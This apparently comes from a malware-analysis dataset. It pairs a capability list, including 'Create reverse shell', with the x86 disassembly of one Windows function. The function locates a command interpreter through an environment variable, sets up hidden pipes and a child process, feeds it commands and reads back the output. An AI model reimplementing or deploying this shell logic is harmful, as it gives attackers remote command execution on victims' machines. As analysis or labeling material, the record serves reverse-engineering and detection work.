Function at 0x407e80
Capabilities:
Check os version
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Query environment variable
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x698
push ebx
push ebp
push esi
push edi
mov edi, eax
lea eax, [esp + 0x54]
push eax
mov eax, dword [0x41d28c]
push 0x17
call fcn.00402950
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x30], eax
je 0x4081e1
push 0x104
lea ecx, [esp + 0xa4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x4081e1
push 0x44
or ebx, 0xffffffff
lea edx, [esp + 0x5c]
push ebp
push edx
mov dword [esp + 0x54], 0xc
mov dword [esp + 0x58], ebp
mov dword [esp + 0x5c], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], ebx
call fcn.00401100
add esp, 0xc
push 0x10
lea eax, [esp + 0x38]
push ebp
push eax
call fcn.00401100
mov eax, dword [0x41d2b0]
add esp, 0xc
cmp eax, ebp
jne 0x407f22
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x41d2b0], eax
cmp al, 6
jae 0x407fa6
push edi
call fcn.00407b40
add esp, 4
mov eax, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x407f35
mov edi, edi
sub eax, 1
cmp eax, edi
je 0x407f4e
cmp byte [eax], 0xa
jne 0x407f40
jmp 0x407f53
cmp byte [eax], 0xa
jne 0x407f9d
sub eax, 1
cmp eax, edi
je 0x407f61
cmp byte [eax], 0xa
jne 0x407f53
jmp 0x407f66
cmp byte [eax], 0xa
jne 0x407f9d
mov ecx, eax
sub eax, 1
cmp eax, edi
je 0x407f76
cmp byte [eax], 0xa
jne 0x407f68
jmp 0x407f7b
cmp byte [eax], 0xa
jne 0x407f9d
cmp ecx, ebp
je 0x407f9d
lea esi, [ecx + 1]
mov ecx, esi
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x407f84
sub ecx, esi
push ecx
add eax, 1
push esi
push eax
call fcn.00401140
add esp, 0xc
push edi
call fcn.00407b40
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
call esi
test eax, eax
je 0x408186
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x20]
push edx
call esi
test eax, eax
je 0x408186
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push ebp
push 1
push eax
call esi
test eax, eax
je 0x408186
mov ecx, dword [esp + 0x14]
push ebp
push 1
push ecx
call esi
test eax, eax
je 0x408186
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x5c]
push ecx
push ebp
push ebp
push ebp
push 1
push ebp
push ebp
mov dword [esp + 0xb0], edx
push ebp
lea edx, [esp + 0xc4]
push edx
mov word [esp + 0xb0], bp
mov dword [esp + 0x80], 0x44
mov dword [esp + 0xac], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x408186
mov ecx, dword [esp + 0x6ac]
mov edx, dword [esp + 0x18]
push ebp
lea eax, [esp + 0x48]
push eax
push ecx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0xa0]
push eax
push ecx
push edx
call fcn.00407b40
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0xc
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebp
mov ebp, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [esp + 0x2c], 0x400
xor esi, esi
mov eax, dword [esp + 0x34]
push 0x14
push eax
call edi
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x408155
cmp eax, 0x80
je 0x408155
mov edx, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push edx
call ebp
test eax, eax
je 0x40812d
mov eax, dword [esp + 0x28]
test eax, eax
je 0x40813c
cmp eax, 0x400
jb 0x40810e
mov eax, 0x400
push 0
lea ecx, [esp + 0x30]
push ecx
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x2b4]
push edx
push eax
call ebx
test eax, eax
je 0x408155
xor esi, esi
jmp 0x40813c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00407b40
add esp, 4
add esi, 0x14
cmp dword [esp + 0x1c], 0x102
jne 0x408155
cmp esi, 0x493e0
jb 0x4080c5
call fcn.00407b40
mov edx, dword [esp + 0x34]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [esp + 0x1c], 0x103
jne 0x408181
mov eax, dword [esp + 0x34]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ebp, ebp
or ebx, 0xffffffff
mov eax, dword [esp + 0x38]
cmp eax, ebp
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x408197
push eax
call esi
mov eax, dword [esp + 0x34]
cmp eax, ebp
je 0x4081a2
push eax
call esi
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x4081ad
push eax
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x4081b8
push eax
call esi
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x4081c3
push eax
call esi
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x4081ce
push eax
call esi
mov ecx, dword [esp + 0x30]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x698
ret